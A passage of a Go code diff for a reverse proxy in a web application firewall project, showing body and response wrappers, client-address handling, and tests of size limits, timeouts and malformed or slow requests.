+// 64 KiB of it into held, and then, on its way to the app, the transport reads
+// it on a goroutine of its own.
+type requestBody struct {
+	// body is the visitor's body, ending in an *http.MaxBytesError past
+	// SWRP_MAX_REQUEST_SIZE.
+	body io.ReadCloser
+	rq   *request
+	// held is the part read before the request goes to the app, which Read gives
+	// first.
+	held []byte
+	// waiting is true while a Read waits for the visitor to send more.
+	waiting atomic.Bool
+	// received is true once the visitor has sent the whole body.
+	received atomic.Bool
+	// bytes is how much of the body has been read.
+	bytes atomic.Int64
+}
+
+// Read reads from the visitor's body, after the part held, which has been
+// counted already.
+func (b *requestBody) Read(p []byte) (int, error) {
+	if len(b.held) > 0 {
+		n := copy(p, b.held)
+		b.held = b.held[n:]
+
+		return n, nil
+	}
+
+	b.waiting.Store(true)
+	n, err := b.body.Read(p)
+	b.waiting.Store(false)
+	b.bytes.Add(int64(n))
+
+	var tooLarge *http.MaxBytesError
+
+	switch {
+	case errors.Is(err, io.EOF):
+		b.received.Store(true)
+	case errors.As(err, &tooLarge):
+		b.rq.refuse(http.StatusRequestEntityTooLarge)
+	}
+
+	return n, err
+}
+
+// Close closes the visitor's body.
+func (b *requestBody) Close() error {
+	return b.body.Close()
+}
+
+// responseBody is the app's response body on its way to the visitor.
+type responseBody struct {
+	// body is the app's body, ending in an *http.MaxBytesError past
+	// SWRP_MAX_RESPONSE_SIZE.
+	body io.ReadCloser
+	rq   *request
+}
+
+// Read reads from the app's body.
+func (b *responseBody) Read(p []byte) (int, error) {
+	n, err := b.body.Read(p)
+	if err == nil {
+		return n, nil
+	}
+
+	var tooLarge *http.MaxBytesError
+
+	switch {
+	case errors.Is(err, io.EOF):
+		b.rq.responseReceived()
+	case errors.As(err, &tooLarge):
+		b.rq.refuse(http.StatusBadGateway)
+
+		return n, errResponseTooLarge
+	case b.rq.in.Context().Err() == nil:
+		// The answer broke off, not because the visitor went away. If a time
+		// limit cut it, that refusal came first and is the one kept.
+		b.rq.refuse(http.StatusBadGateway)
+	}
+
+	return n, err
+}
+
+// Close closes the app's body.
+func (b *responseBody) Close() error {
+	return b.body.Close()
+}
+
+// upgradedConn is the connection to the app once the app has switched
+// protocols, as for a WebSocket. ReverseProxy writes to it what the visitor
+// sends and reads from it what the app sends, on goroutines of its own, until
+// the connection closes; it counts the bytes each way, for the report.
+type upgradedConn struct {
+	io.ReadWriteCloser
+
+	// fromApp is how many bytes the app has sent, and toApp how many the
+	// visitor has.
+	fromApp atomic.Int64
+	toApp   atomic.Int64
+}
+
+// Read reads what the app sends.
+func (c *upgradedConn) Read(p []byte) (int, error) {
+	n, err := c.ReadWriteCloser.Read(p)
+	c.fromApp.Add(int64(n))
+
+	return n, err
+}
+
+// Write sends the app what the visitor sent.
+func (c *upgradedConn) Write(p []byte) (int, error) {
+	n, err := c.ReadWriteCloser.Write(p)
+	c.toApp.Add(int64(n))
+
+	return n, err
+}
+
+// CloseWrite tells the app that the visitor sends no more, while what the app
+// sends still passes. ReverseProxy calls it once the visitor has stopped
+// sending, and closes the connection there if it is not supported.
+func (c *upgradedConn) CloseWrite() error {
+	conn, ok := c.ReadWriteCloser.(interface{ CloseWrite() error })
+	if !ok {
+		return http.ErrNotSupported
+	}
+
+	return conn.CloseWrite()
+}
+
+// limitBody returns body, cut off with an *http.MaxBytesError after maxBytes, or
+// unchanged if maxBytes is zero, which is off.
+func limitBody(body io.ReadCloser, maxBytes int64) io.ReadCloser {
+	if maxBytes == 0 {
+		return body
+	}
+
+	// Without a ResponseWriter, MaxBytesReader only counts and cuts off.
+	return http.MaxBytesReader(nil, body, maxBytes)
+}
+
+// responseWriter is the response to the visitor. It notes the status and size
+// for the log line and the report.
+type responseWriter struct {
+	http.ResponseWriter
+
+	// status is the final status sent, or zero before one is.
+	status int
+	bytes  int64
+}
+
+// WriteHeader sends the status and headers. An informational 1xx status is
+// passed on and the final status still comes later.
+func (w *responseWriter) WriteHeader(status int) {
+	if status >= http.StatusOK && w.status == 0 {
+		w.status = status
+	}
+
+	w.ResponseWriter.WriteHeader(status)
+}
+
+// Write sends part of the body.
+func (w *responseWriter) Write(p []byte) (int, error) {
+	if w.status == 0 {
+		w.status = http.StatusOK
+	}
+
+	n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
+	w.bytes += int64(n)
+
+	return n, err
+}
+
+// FlushError sends what has been written so far. http.ResponseController calls
+// it, as ReverseProxy does after each write.
+func (w *responseWriter) FlushError() error {
+	return http.NewResponseController(w.ResponseWriter).Flush()
+}
+
+// Hijack takes over the connection to the visitor, which ReverseProxy does only
+// to pass on the app's 101 Switching Protocols: that is then the status sent.
+func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
+	conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
+	if err == nil {
+		w.status = http.StatusSwitchingProtocols
+	}
+
+	return conn, buffered, err
+}
+
+// Unwrap lets http.ResponseController reach net/http's own ResponseWriter for
+// what responseWriter does not do itself.
+func (w *responseWriter) Unwrap() http.ResponseWriter {
+	return w.ResponseWriter
+}

internal/rproxy/client.go

@@ -1,30 +1,40 @@
-package proxy
+package rproxy
 
 import (
-	"crypto/rand"
 	"net/http"
 	"net/netip"
 	"slices"
 	"strings"
 )
 
-// peerAddress is the address of the request's TCP peer, normally traefik.
+// The headers rproxy sets on the requests it passes to the app. Go writes every
+// header name in this form, as it sends it and as it receives it, so
+// X-Client-ASN arrives as X-Client-Asn, and Del removes a visitor's own whatever
+// their case; header names are not case-sensitive.
+const (
+	requestIDHeader = "X-Request-ID"
+	asnHeader       = "X-Client-Asn"
+	countryHeader   = "X-Client-Country"
+)
+
+// peerAddress is the address of the request's TCP peer, normally traefik, without
+// any IPv6 zone, which servewaf refuses.
 func peerAddress(r *http.Request) netip.Addr {
 	addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
 	if err != nil {
 		return netip.Addr{}
 	}
 
-	return addrPort.Addr().Unmap()
+	return addrPort.Addr().Unmap().WithZone("")
 }
 
-// clientAddress works out who the client is. A peer outside the trusted
-// proxies is the client, and what it says in X-Forwarded-For is ignored.
-// For a peer inside them, X-Forwarded-For is read from the right, and the
-// first address outside them is the client; if every address in it is
-// inside, the leftmost is, and with no header, the peer. An entry that is
-// not an address ends the reading, since nothing to its left can be
-// believed.
+// clientAddress works out who the visitor is. A peer outside the trusted
+// proxies is the visitor, and what it says in X-Forwarded-For is ignored. For a
+// peer inside them, X-Forwarded-For is read from the right, and the first
+// address outside them is the visitor; if every address in it is inside, the
+// leftmost is, and with no header, the peer. An entry that is not an address
+// ends the reading, since nothing to its left can be believed. The visitor's
+// address never has an IPv6 zone, which servewaf refuses.
 func clientAddress(
 	peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
 ) netip.Addr {
@@ -40,7 +50,7 @@ func clientAddress(
 			break
 		}
 
-		client = addr.Unmap()
+		client = addr.Unmap().WithZone("")
 		if !isInside(client, trusted) {
 			break
 		}
@@ -49,24 +59,8 @@ func clientAddress(
 	return client
 }
 
-// requestIDHeader carries the request's id, from traefik and to the app.
-const requestIDHeader = "X-Request-ID"
-
-// requestID is the request's id: the one a trusted proxy sent, or a new
-// random one. A peer outside the trusted proxies did not come through
-// traefik, so the id it sends is its own claim, and is replaced.
-func requestID(r *http.Request, peerTrusted bool) string {
-	id := r.Header.Get(requestIDHeader)
-	if !peerTrusted || id == "" {
-		id = rand.Text()
-	}
-
-	return id
-}
-
-// scheme is how the client reached traefik, as a trusted proxy says in
-// X-Forwarded-Proto, or otherwise http, the only scheme smallwebwaf
-// serves.
+// scheme is how the visitor reached traefik, as a trusted proxy says in
+// X-Forwarded-Proto, or otherwise http, the only scheme rproxy serves.
 func scheme(r *http.Request, peerTrusted bool) string {
 	proto := r.Header.Get("X-Forwarded-Proto")
 	if !peerTrusted || proto == "" {
@@ -76,21 +70,6 @@ func scheme(r *http.Request, peerTrusted bool) string {
 	return proto
 }
 
-// ipv6GroupPrefix is the length of the IPv6 netblock that is one client.
-const ipv6GroupPrefix = 64
-
-// clientGroup is the client a request is counted toward: its IPv4
-// address, or the /64 its IPv6 address is in, since one abuser usually
-// holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
-func clientGroup(addr netip.Addr) netip.Prefix {
-	addr = addr.Unmap()
-	if addr.Is6() {
-		return netip.PrefixFrom(addr, ipv6GroupPrefix).Masked()
-	}
-
-	return netip.PrefixFrom(addr, addr.BitLen())
-}
-
 // isInside reports whether addr is in one of the netblocks.
 func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
 	return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool {
@@ -99,12 +78,11 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
 }
 
 // setForwardedHeaders sets the headers in which the app learns about the
-// client, so that it sees what it would see from traefik directly. A
-// trusted proxy's forwarded headers pass on, with the proxy's own address
-// added to X-Forwarded-For. Those of any other peer are its own claims and
-// are replaced: X-Forwarded-For names the peer, X-Forwarded-Host the host
-// it asked for, and X-Forwarded-Proto plain http, which is how it reached
-// smallwebwaf.
+// visitor, so that it sees what it would see from traefik directly. A trusted
+// proxy's forwarded headers pass on, with the proxy's own address added to
+// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
+// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
+// X-Forwarded-Proto plain http, which is how it reached rproxy.
 func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
 	forwardedFor := peer.String()
 
@@ -127,9 +105,9 @@ func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
 		return
 	}
 
-	// ReverseProxy has removed Forwarded and the three set below; these
-	// are the other headers in which traefik tells the app about the
-	// client and its request.
+	// ReverseProxy has removed Forwarded and the three set below; these are the
+	// other headers in which traefik tells the app about the visitor and its
+	// request.
 	for _, name := range []string{
 		"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
 		"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",

internal/rproxy/limits_test.go

@@ -0,0 +1,831 @@
+package rproxy_test
+
+import (
+	"bufio"
+	"bytes"
+	"errors"
+	"io"
+	"log/slog"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"strconv"
+	"strings"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rproxy"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// post is the start of a POST whose headers end with what follows it.
+const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
+
+// announcedLength is the header that announces a body of size bytes, and the
+// end of the headers.
+func announcedLength(size int) string {
+	return "Content-Length: " + strconv.Itoa(size) + "\r\n\r\n"
+}
+
+func TestServerHasTheFixedLimits(t *testing.T) {
+	t.Parallel()
+
+	cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
+		if name == "SWRP_WAF_BACKEND" {
+			return nowhere, true
+		}
+
+		return "", false
+	})
+	if err != nil {
+		t.Fatalf("settings: %v", err)
+	}
+
+	server := rproxy.New(rproxy.Params{
+		Config:     cfg,
+		RequestLog: io.Discard,
+		ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
+	})
+
+	if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
+		server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
+		t.Errorf("server listens on %q with header limit %d, idle time %s and "+
+			"header timeout %s", server.Addr, server.MaxHeaderBytes,
+			server.IdleTimeout, server.ReadHeaderTimeout)
+	}
+}
+
+func TestABodyAnnouncedOverItsLimitIsRefusedOnceServeWAFAllowsIt(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, limit string
+		size, asked int
+	}{
+		{"with the limit within the first part", "1K", 1025, 1024},
+		{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, allow)
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {
+				t.Error("the app was asked")
+			})
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+				maxRequestSize: tc.limit,
+			})
+
+			got := visit(t, newRequest(t, http.MethodPost, addr, "/",
+				bytes.NewReader(make([]byte, tc.size))))
+			if got.status != http.StatusRequestEntityTooLarge {
+				t.Errorf("answered %+v, want 413", got)
+			}
+
+			if asked := standIn.question(t); len(asked.body) != tc.asked {
+				t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
+			}
+
+			report := standIn.report(t)
+			if report.Status != http.StatusRequestEntityTooLarge {
+				t.Errorf("report %+v, want status 413", report)
+			}
+		})
+	}
+}
+
+func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
+	t.Parallel()
+
+	standIn := startServeWAF(t, deny)
+	app := startApp(t, greet)
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxRequestSize: "1K",
+	})
+
+	got := visit(t, newRequest(t, http.MethodPost, addr, "/",
+		bytes.NewReader(make([]byte, 1025))))
+	if got.status != http.StatusForbidden {
+		t.Errorf("answered %+v, want servewaf's 403", got)
+	}
+}
+
+func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, limit string
+		size        int
+		// mayReachApp is true when the part of the body the limit lets through
+		// goes on to the app before the limit is met. The app may still not have
+		// started on the request when it is cut off.
+		mayReachApp bool
+	}{
+		{"within the first part", "1K", 2 << 10, false},
+		{"past the first part", "128K", 129 << 10, true},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			var asked atomic.Bool
+
+			standIn := startServeWAF(t, allow)
+			app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+				asked.Store(true)
+				greet(w, r)
+			})
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+				maxRequestSize: tc.limit,
+			})
+
+			conn := dial(t, addr)
+			send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
+				strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
+				"\r\n0\r\n\r\n")
+
+			if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
+				t.Errorf("status %d, want 413", status)
+			}
+
+			if asked.Load() && !tc.mayReachApp {
+				t.Error("the app was asked")
+			}
+		})
+	}
+}
+
+func TestAResponseOverItsLimit(t *testing.T) {
+	t.Parallel()
+
+	large := strings.Repeat("x", 2<<10)
+
+	t.Run("announced, is refused", func(t *testing.T) {
+		t.Parallel()
+
+		standIn := startServeWAF(t, allow)
+		app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+			w.Header().Set(contentLengthHeader, strconv.Itoa(len(large)))
+			_, _ = io.WriteString(w, large)
+		})
+		addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			maxResponseSize: "1K",
+		})
+
+		got := get(t, addr, "/")
+		if got.status != http.StatusBadGateway {
+			t.Errorf("answered %d, want 502", got.status)
+		}
+
+		if report := standIn.report(t); report.Status != http.StatusBadGateway {
+			t.Errorf("report %+v, want status 502", report)
+		}
+	})
+
+	t.Run("not announced, is cut off", func(t *testing.T) {
+		t.Parallel()
+
+		standIn := startServeWAF(t, allow)
+		app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+			_, _ = io.WriteString(w, large[:1])
+			_ = http.NewResponseController(w).Flush()
+			_, _ = io.WriteString(w, large[1:])
+		})
+		addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			maxResponseSize: "1K",
+		})
+
+		conn := dial(t, addr)
+		send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
+
+		text, err := io.ReadAll(conn)
+		if err != nil || bytes.Contains(text, []byte(large)) {
+			t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
+		}
+
+		report := standIn.report(t)
+		if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
+			t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
+		}
+	})
+}
+
+func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
+	t.Parallel()
+
+	const announced = "2048"
+
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		w.Header().Set(contentLengthHeader, announced)
+	})
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxResponseSize: "1K",
+	})
+
+	got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
+	if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
+		t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
+	}
+}
+
+func TestASettingOfOffSetsNoLimit(t *testing.T) {
+	t.Parallel()
+
+	for _, setting := range []string{
+		maxRequestSize, maxResponseSize, maxRequestTime, maxResponseTime,
+	} {
+		t.Run(setting, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, allow)
+			app := startApp(t, greet)
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+				setting: "off",
+			})
+
+			// A body and an answer that a limit of zero would cut off, as it would the
+			// next answer, which rproxy gives itself.
+			wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
+				strings.NewReader("a body"))))
+
+			if got := get(t, addr, servewaf.HealthPath); got.status != http.StatusOK {
+				t.Errorf("answered %+v, want rproxy's own 200", got)
+			}
+		})
+	}
+}
+
+func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, rest string
+	}{
+		{"with its length announced", announcedLength(100) + "some of it"},
+		{"with no length announced", "Transfer-Encoding: chunked\r\n\r\na\r\nsome of it\r\n"},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, allow)
+			app := startApp(t, greet)
+			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
+				maxRequestTime: "500",
+			})
+
+			conn := dial(t, addr)
+			send(t, conn, post+tc.rest)
+
+			if status := readStatus(t, conn); status != http.StatusRequestTimeout {
+				t.Errorf("status %d, want 408", status)
+			}
+
+			line := out.requestLine(t)
+			if line["disposition"] != nil || line["request_bytes"] != 10.0 {
+				t.Errorf("line %v, want no disposition and 10 bytes", line)
+			}
+
+			if len(standIn.questions) != 0 {
+				t.Error("servewaf was asked")
+			}
+
+			standIn.wantNoReport(t)
+		})
+	}
+}
+
+func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
+	t.Parallel()
+
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, greet)
+	addr, out := startRProxy(t, standIn.URL, app.URL, nil)
+
+	conn := dial(t, addr)
+	send(t, conn, post+announcedLength(100)+"some of it")
+	_ = conn.Close()
+
+	line := out.requestLine(t)
+	if line["status"] != 0.0 || line["disposition"] != nil {
+		t.Errorf("line %v, want no answer and no disposition", line)
+	}
+
+	if len(standIn.questions) != 0 {
+		t.Error("servewaf was asked")
+	}
+}
+
+func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, request string
+		stopsSending  bool
+	}{
+		{
+			"a malformed chunk", post + "Transfer-Encoding: chunked\r\n\r\nnot a chunk\r\n",
+			false,
+		},
+		{"a visitor that stops sending", post + announcedLength(100) + "some of it", true},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, allow)
+			app := startApp(t, greet)
+			addr, out := startRProxy(t, standIn.URL, app.URL, nil)
+
+			conn := dial(t, addr)
+			send(t, conn, tc.request)
+
+			if tc.stopsSending {
+				tcpConn, ok := conn.(*net.TCPConn)
+				if !ok {
+					t.Fatalf("the connection is a %T", conn)
+				}
+
+				err := tcpConn.CloseWrite()
+				if err != nil {
+					t.Fatalf("stop sending: %v", err)
+				}
+			}
+
+			text, err := io.ReadAll(conn)
+			if err != nil || len(text) != 0 {
+				t.Errorf("read %q (%v), want the connection closed without an answer",
+					text, err)
+			}
+
+			line := out.requestLine(t)
+			if line["status"] != 0.0 || line["disposition"] != nil {
+				t.Errorf("line %v, want no answer and no disposition", line)
+			}
+
+			if len(standIn.questions) != 0 {
+				t.Error("servewaf was asked")
+			}
+		})
+	}
+}
+
+// deadlineRecorder notes the time limits rproxy sets on reading the visitor's body
+// and on sending its answer.
+type deadlineRecorder struct {
+	*httptest.ResponseRecorder
+
+	readDeadline  time.Time
+	writeDeadline time.Time
+}
+
+// SetReadDeadline notes deadline.
+func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
+	w.readDeadline = deadline
+
+	return nil
+}
+
+// SetWriteDeadline notes deadline.
+func (w *deadlineRecorder) SetWriteDeadline(deadline time.Time) error {
+	w.writeDeadline = deadline
+
+	return nil
+}
+
+func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
+	t.Parallel()
+
+	const (
+		limit = 5 * time.Minute
+		// announced is over what Go's server reads of a body left unread, so that
+		// the app's own server answers without waiting for the rest.
+		announced = 100 * questionBodyMaxBytes
+	)
+
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		w.WriteHeader(http.StatusNoContent)
+	})
+	_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
+		maxRequestTime: strconv.FormatInt(limit.Milliseconds(), 10),
+	})
+
+	// The visitor sends the first part and a little more, and then nothing.
+	stalled, stop := io.Pipe()
+
+	t.Cleanup(func() { _ = stop.Close() })
+
+	req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
+		io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
+	req.ContentLength = announced
+	req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
+
+	w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
+
+	before := time.Now()
+
+	server.Handler.ServeHTTP(w, req)
+
+	if w.Code != http.StatusNoContent {
+		t.Errorf("status %d, want the app's 204", w.Code)
+	}
+
+	if w.readDeadline.Before(before.Add(limit)) ||
+		w.readDeadline.After(time.Now().Add(limit)) {
+		t.Errorf("the reading of the body ends at %s, want %s from the request",
+			w.readDeadline, limit)
+	}
+}
+
+func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
+	t.Parallel()
+
+	const limit = 5 * time.Minute
+
+	for _, tc := range []struct {
+		name, target string
+		status       int
+	}{
+		{"servewaf's deny", "/", http.StatusForbidden},
+		{"rproxy's own 400", "x:admin", http.StatusBadRequest},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startServeWAF(t, deny)
+			app := startApp(t, greet)
+			_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
+				maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
+			})
+
+			req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
+				http.NoBody)
+			w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
+
+			before := time.Now()
+
+			server.Handler.ServeHTTP(w, req)
+
+			if w.Code != tc.status {
+				t.Errorf("status %d, want %d", w.Code, tc.status)
+			}
+
+			if w.writeDeadline.Before(before.Add(limit)) ||
+				w.writeDeadline.After(time.Now().Add(limit)) {
+				t.Errorf("the time limit on sending ends at %s, want %s from the answer",
+					w.writeDeadline, limit)
+			}
+		})
+	}
+}
+
+func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
+	t.Parallel()
+
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, greet)
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxRequestTime: "3000",
+	})
+
+	conn := dial(t, addr)
+	send(t, conn, post+announcedLength(2*questionBodyMaxBytes)+
+		strings.Repeat("x", questionBodyMaxBytes+1))
+
+	if status := readStatus(t, conn); status != http.StatusRequestTimeout {
+		t.Errorf("status %d, want 408", status)
+	}
+
+	if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes {
+		t.Errorf("the question carries %d bytes", len(asked.body))
+	}
+
+	if report := standIn.report(t); report.Status != http.StatusRequestTimeout {
+		t.Errorf("report %+v, want status 408", report)
+	}
+}
+
+// startAppThatTakesNothing starts an app that accepts connections and never
+// reads from them, and returns its URL.
+func startAppThatTakesNothing(t *testing.T) string {
+	t.Helper()
+
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	stopped := make(chan struct{})
+
+	t.Cleanup(func() {
+		close(stopped)
+
+		_ = listener.Close()
+	})
+
+	go func() {
+		for {
+			conn, err := listener.Accept()
+			if err != nil {
+				return
+			}
+
+			go func() {
+				<-stopped
+
+				_ = conn.Close()
+			}()
+		}
+	}()
+
+	return "http://" + listener.Addr().String()
+}
+
+func TestAnAppTooSlowToTakeTheRequestIsAnswered504(t *testing.T) {
+	t.Parallel()
+
+	// More than the connections hold while nobody reads, written a little at a
+	// time, so that rproxy soon waits for the app.
+	const (
+		bodySize  = 64 << 20
+		writeSize = 32 << 10
+	)
+
+	standIn := startServeWAF(t, allow)
+	addr, _ := startRProxy(t, standIn.URL, startAppThatTakesNothing(t),
+		map[string]string{maxRequestTime: "3000"})
+
+	conn := dial(t, addr)
+	send(t, conn, post+announcedLength(bodySize))
+
+	go func() {
+		part := make([]byte, writeSize)
+
+		for range bodySize / writeSize {
+			_, err := conn.Write(part)
+			if err != nil {
+				return
+			}
+		}
+	}()
+
+	if status := readStatus(t, conn); status != http.StatusGatewayTimeout {
+		t.Errorf("status %d, want 504", status)
+	}
+}
+
+func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
+	t.Parallel()
+
+	release := make(chan struct{})
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		<-release
+	})
+
+	t.Cleanup(func() { close(release) })
+
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxResponseTime: "300",
+	})
+
+	got := get(t, addr, "/")
+	if got.status != http.StatusGatewayTimeout {
+		t.Errorf("answered %d, want 504", got.status)
+	}
+
+	if report := standIn.report(t); report.Status != http.StatusGatewayTimeout {
+		t.Errorf("report %+v, want status 504", report)
+	}
+}
+
+func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
+	t.Parallel()
+
+	const start = "the start"
+
+	release := make(chan struct{})
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		_, _ = io.WriteString(w, start)
+		_ = http.NewResponseController(w).Flush()
+
+		<-release
+	})
+
+	t.Cleanup(func() { close(release) })
+
+	// The time limit is long enough for a loaded host to pass on the start of the
+	// answer before it runs out.
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxResponseTime: "3000",
+	})
+
+	conn := dial(t, addr)
+	send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
+
+	res, err := http.ReadResponse(bufio.NewReader(conn), nil)
+	if err != nil {
+		t.Fatalf("read the answer: %v", err)
+	}
+
+	// The body breaks off when rproxy closes the connection. If the connection
+	// stays open, dial's deadline ends this read with a timeout instead.
+	body, err := io.ReadAll(res.Body)
+	_ = res.Body.Close()
+
+	if res.StatusCode != http.StatusOK || string(body) != start ||
+		!errors.Is(err, io.ErrUnexpectedEOF) {
+		t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed",
+			res.StatusCode, body, err, start)
+	}
+
+	if report := standIn.report(t); report.Status != http.StatusOK {
+		t.Errorf("report %+v, want the status the visitor got", report)
+	}
+}
+
+func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
+	t.Parallel()
+
+	// More than the connections hold while nobody reads.
+	const (
+		bodySize  = 64 << 20
+		writeSize = 32 << 10
+	)
+
+	standIn := startServeWAF(t, allow)
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		part := make([]byte, writeSize)
+
+		for range bodySize / writeSize {
+			_, err := w.Write(part)
+			if err != nil {
+				return
+			}
+		}
+	})
+	// The time limit is long enough for a loaded host to start passing on the
+	// answer before it runs out.
+	addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxResponseTime: "3000",
+	})
+
+	// The visitor asks, and never reads the answer.
+	conn := dial(t, addr)
+	send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
+
+	line := out.requestLine(t)
+
+	responseBytes, _ := line["response_bytes"].(float64)
+	if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
+		t.Errorf("line %v, want status 200 and the answer cut off", line)
+	}
+
+	report := standIn.report(t)
+	if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
+		t.Errorf("report %+v, want status 200 and the answer cut off", report)
+	}
+}
+
+func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
+	t.Parallel()
+
+	standIn := startServeWAF(t, allow)
+	addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
+
+	got := get(t, addr, "/")
+	if got.status != http.StatusBadGateway {
+		t.Errorf("answered %d, want 502", got.status)
+	}
+
+	if report := standIn.report(t); report.Status != http.StatusBadGateway {
+		t.Errorf("report %+v, want status 502", report)
+	}
+}
+
+func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
+	t.Parallel()
+
